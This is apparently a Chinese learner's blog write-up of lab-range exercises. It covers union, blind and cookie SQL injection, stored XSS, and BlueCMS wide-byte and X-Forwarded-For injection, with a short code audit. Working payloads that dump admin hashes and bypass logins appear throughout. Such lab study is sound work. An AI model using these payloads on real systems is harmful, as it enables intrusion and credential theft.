封神台靶场

一、女神小芳

image-20230515211214636

1.注入位置判断

id=1,2,3时有不同页面,猜测id处可以注入

2.注入类型判断(判断错误)

==显然没有回显位,故不用联合注入==

1’、1”时页面不正常且不显示内容,故没有报错注入

==首先进行数字型注入==

==id=1 and 1=1 时页面正常==

==id=1 and 1=2 时页面不正常==

==故数字型盲注。==

看了wp才发现,原来还是可以用联合注入的,想当然了,以为回显位(order by)只出现在有输入框的地方。

3.联合注入

1.order by判断可显示列数

id=1 order by 3内容为空 by 2为正常值

故回显位2

2.union select

?id=10000 union select 1,2# id=-1这种不行,被处理过了

image-20230515235328914

2改为database(),显示maoshe

3.爆表

?id=10000 union select 1,(select group_concat(’~‘,table_name) from information_schema.tables where table_schema=database())#

image-20230515235921469

4.爆列名

?id=10000%20union%20select%201,(select%20group_concat(%27~%27,column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27admin%27)#

image-20230516001033181

5.爆列名值

?id=10000%20union%20select%201,(select group_concat(‘~’,password) from admin)#

image-20230516001159511

6.总结

不能简单认为无输入框就没有联合注入,还是要多想,多尝试。

盲注过程,算是复习吧qaq

3.数据库长度判断

id=1%20and%20length(database())>5 时正常,>6时不正常

故database()长度为6

4.数据库爆破

id=1 and ascii(substr(database(),{1},1)) > {1} #判断第一个字母

image-20230515215548482

数据库名maoshe

5.表名长度判断

id=1 and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>4正常,>5时不正常

故第一个表名长度5

6.表名爆破

id=1 and ascii(substr((select table_name from information_schema.tables where table_schema='maoshe' limit 0,1),{0},1))>{1}#判断表名第一个字符

image-20230515215706751

第一个表名admin

第二个表名dirs

第三个表名news

第四个表名xss

7.列名长度判断

id =1 and (select length(column_name) from information_schema. columns where table_name = ‘admin’ and table_schema = ‘maoshe’ limit 0,1)>1 //列名

8.列名判断

id =1 and ascii(substr((select column_name from information_schema.columns where table_name = 'admin' and table_schema = 'maoshe' limit 0,1),{0},1))>{1} //列名

admin表的列名Id、username、passwGrd

dirs表的列名paths

news表的列名id、content

xss表的列名id、user、pass

9.爆值

看下xss的pass字段吧

id=1 and ascii(substr((select 'pass' from 'xss' limit 0,1),{0},1))>{1}

嘶,没跑出来flag的字样的,哪里漏掉了

10.sqlmap

用sqlmap解决吧。

python sqlmap.py -u “http://pu2lh35s.ia.aqlab.cn/?id=2“ –dbs

跑出了maoshe、test、information_schema

python sqlmap.py -u “http://pu2lh35s.ia.aqlab.cn/?id=2“ -D maoshe –tables

表名没问题

python sqlmap.py -u “http://pu2lh35s.ia.aqlab.cn/?id=2“ -D maoshe -T admin –columns –dump

emm,admin表中的列是password,脚本还跑错了。

二、WAF过滤

1.注入位置判断

找到新闻中任意一个具体页面,出现id=171,猜测有注入点

2.尝试闭合

and、单引号等,and的双写也被过滤了

image-20230516095129031

提示过滤了and update delete ; insert mid master

双引号和括号发现提示数据库出错

image-20230516095308937

而且这个order by的话就到10了。

各种传统关键字绕过尝试后,没其他办法了

看了wp,才知道用cookie,这里我用的工具是burp。

3.先抓包

image-20230516113815024

右键发送repeate,删除掉?id=171,避免接受url参数,转而添加Cookie参数,先 添加id=171试试

image-20230516114902620

页面显示正常,可以尝试联合注入

4.联合注入

1.union select

image-20230516115631577

id=1710000%20union%20select%201,2,3,4,5,6,7,8,9,10%20from%20admin;

注意空格记得填充,无论是%20还是+都可以

之所以加from admin,目的是猜测admin是否存在。

显示结果如下:

image-20230516115712683

证明表admin是存在的

2.猜解字段名

这里参考的官方wp是说,直接猜解常见字段名

id=1710000%20union%20select%201,username,3,4,5,6,7,8,password,10%20from%20admin;

image-20230516120410289

数字加字母的16位组合,看出密码像是md5特征,解密试试

image-20230516121144887

得到明文内容为welcome的密码

已知账号与密码,尝试后台登录。

3.登录

这是根据经验猜解的后台路径吧。。。。根目录下/admin

image-20230516121550218

输入admin,welcome

image-20230516121649512

5.总结

当url上各种绕过尝试失效时,应该要联想到其它注入方式,如Cookie注入等。

三、XSS

这关进入到了留言板页面,全部输入框都写进xss代码,确实存在。目的是获取cookie。

给每个框框试了一下

存在xss漏洞。

xss平台搭建参照:搭建xss-platform平台 - 春告鳥 - 博客园 (cnblogs.com)

再生成payload进行注入即可。

但是我的平台没收到。(噗,我搭建的是)

尝试用dvwa的xss漏洞时,都可以收到,但是封神台上失败。

四、bluecms

http://pu2lh35s.ia.aqlab.cn/bluecms/uploads/

20230903

/install

重新安装

/admin

疑似后台登录窗口

XSS

注册提交时

1
referer=&user_name=12345&pwd=123456&pwd1=123456&email=1%401.com<script>alert(1)</script>&safecode=f3wn&from=&act=do_reg

xss注入

且是存储型的

可见对于输入,后端没有过滤;同理,也会存在sql注入

sql注入

然后测试了下邮箱处加个单引号

1
referer=&user_name=123121&pwd=123121&pwd1=123121&email=1%401.com'&safecode=kpnh&from=&act=do_reg

一开始那个验证码输错了,重新输入一次,还是可以的,它没有一次性验证码

响应包内容:

1
2
3
4
5
h3>BlueCMS提示信息</h3>
<div class="msgcontent">
<h4 class="msg">恭喜您注册成功,现在将转向...</h4>
<p><a class="lightlink" href="user.php">如果您的浏览器没有反应,请点击这里</a></p><script language="javascript" type="text/javascript">setTimeout("location.replace('user.php')",'2000');</script>
</div>

注册成功,可见单引号没有影响,没有报错

宽字节注入

复习一下,一般php中使用addslashes,使得引号或反斜杠,NULL输入后的结果会多一条反斜杠

1
2
3
4
5
6
7
<?php
$ad=addslashes('ai"');
echo($ad);
?>

显示为:ai\"

宽字符注入,就是通过gbk编码 %df与addslashes方法生成的反斜杠结合成某个汉字,即迟到要出现的反斜杠!

参考:http://t.csdn.cn/tUgTC

1
&email=1%401.com%df'

响应包内容

1
Error:Query error:INSERT INTO blue_user (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '123122', md5('123121'), '1@1.com�\'', '1694805311', '1694805311')<br><br>

所以尝试

email=1%401.com%df' or updatexml(1,concat(0x5e,database()),3)

嘶,也报错了

但是报错信息已经暴露了,数据库的表及其字段

1
referer=&user_name=123123433&pwd=12313423&pwd1=12313423&email=1%401.com%df',1,1),(100,0x123456,md5(123456),(select pwd from blue_admin where admin_id=1),1,1)#&safecode=t63m&from=&act=do_reg

第一次虽然也报错,但再repeater一次,提示用户名已存在了

但是貌似没有成功

邮箱处显示:

1@ 1.com運

对于登录框,万能密码

df’) or 1=1#

可以过

而且我用admin,随便输入密码,登录时,提示系统组不能前端登陆

对于发布的文章进行评论

构造XFX

1
2
3
4
5
X-Forwarded-For:1'#
Cookie: detail=1; PHPSESSID=o4epfhqd8s2encen12svcrhkt3
Connection: close

mood=3&comment=123213&id=20&type=1&submit=%CC%E1%BD%BB%C6%C0%C2%DB

报错,说明存在注入

XFX:

1
X-Forwarded-For:1','1'),('','20', '102', '1', '3', '8559', '1694808139', '1

9个参数,只重写了8个,是因为ip这个参数是自动加的

发布了79和8559两个内容,so

1
X-Forwarded-For:1','1'),('','20', '102', '1', '3', (database()), '1694808139', '1

blue_test

1
X-Forwarded-For:1','1'),('','20', '102', '1', '3', (select group_concat(admin_name,'~',pwd)  from blue_admin), '1694808139', '1

admin~46120aa4aa7b5b27cc81eb6cd0b8b95d

代码审计

来一遍代码审计吧,去github找到bluecms,解压后拖入审计工具,我用的Seay

ad_js.php sql注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
echo 'Error!';
exit();
}

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

/***/
function getone($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);
return $row;
}

GET获取了 ad_id,直接拼接执行sql语句

这里是可以sql注入的

1
http://pu2lh35s.ia.aqlab.cn/bluecms/uploads/ad_js.php?ad_id=1

无显示,但是 f12是有东西的

加个 1'就报错了,但是转义了

Error:Query error:SELECT * FROM blue_ad WHERE ad_id =1\‘

1
2
ad_id=1 order by 9#
//是报错了的

一个个试,最终 字段数定为7

尝试联合注入

1
ad_id=1%20union%20select%201,2,3,4,5,6,7
1
ad_id=1%20union%20select%201,2,3,4,5,6,database()

后续懂得都懂了

user.php 注册

1
2
3
4
5
6
7
8
9
elseif($act == 'do_reg'){
$user_name = !empty($_POST['user_name']) ? trim($_POST['user_name']) : '';
$pwd = !empty($_POST['pwd']) ? trim($_POST['pwd']) : '';
$pwd1 = !empty($_POST['pwd1']) ? trim($_POST['pwd1']) : '';
$email = !empty($_POST['email']) ? trim($_POST['email']) : '';
$safecode = !empty($_POST['safecode']) ? trim($_POST['safecode']) : '';
$from = !empty($from) ? base64_decode($from) : 'user.php';
...if else ...//一堆字段判断
$sql = "INSERT INTO ".table('user')." (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '$user_name', md5('$pwd'), '$email', '$timestamp', '$timestamp')";

没有过滤,直接xss

然后由于

1
2
3
4
5
6
referer=&user_name=11211423136131&pwd=111111&pwd1=111111&email=%df',1,1)%df'#1%401.com&safecode=kr7b&from=&act=do_reg

报错为:
/*
Error:Query error:INSERT INTO blue_user (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '11211423136131', md5('111111'), '�\',1,1)�\'#1@1.com', '1694812898', '1694812898')<br><br>
*/

构造如下:

利用了sql语句可以多条输入的性质,构造闭合

0x646a是dj的16进制

1
referer=&user_name=11211423136131&pwd=111111&pwd1=111111&email=123%df',1,1),(100,0x646a,md5(111111),(select pwd from blue_admin limit 0,1),1,1)#&safecode=kr7b&from=&act=do_reg

登录,用户名dj,密码111111,会员中心显示

邮箱显示为一段哈希值

46120aa4aa7b5b27cc81eb6cd0b8b95d

这里牵扯到了代码审计的技巧:

  • 追踪危险函数(查询关键字)
  • 追踪数据流
  • 按功能进行审计
  • 通读全文

技巧:

全局搜索:

$_GET,和$_POST

查看主页index包含的配置文件

最后:

一个文件一个文件地看,查看数据流信息

一般获取参数,有sql查询,参数也是拼接的地方,一旦将获取的参数经过intval()处理,即仅获取整数部分的值,直接白名单式过滤成功了。无sql注入

参考

http://t.csdn.cn/mDzsE

http://t.csdn.cn/5Yr6F

http://t.csdn.cn/oLaai

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信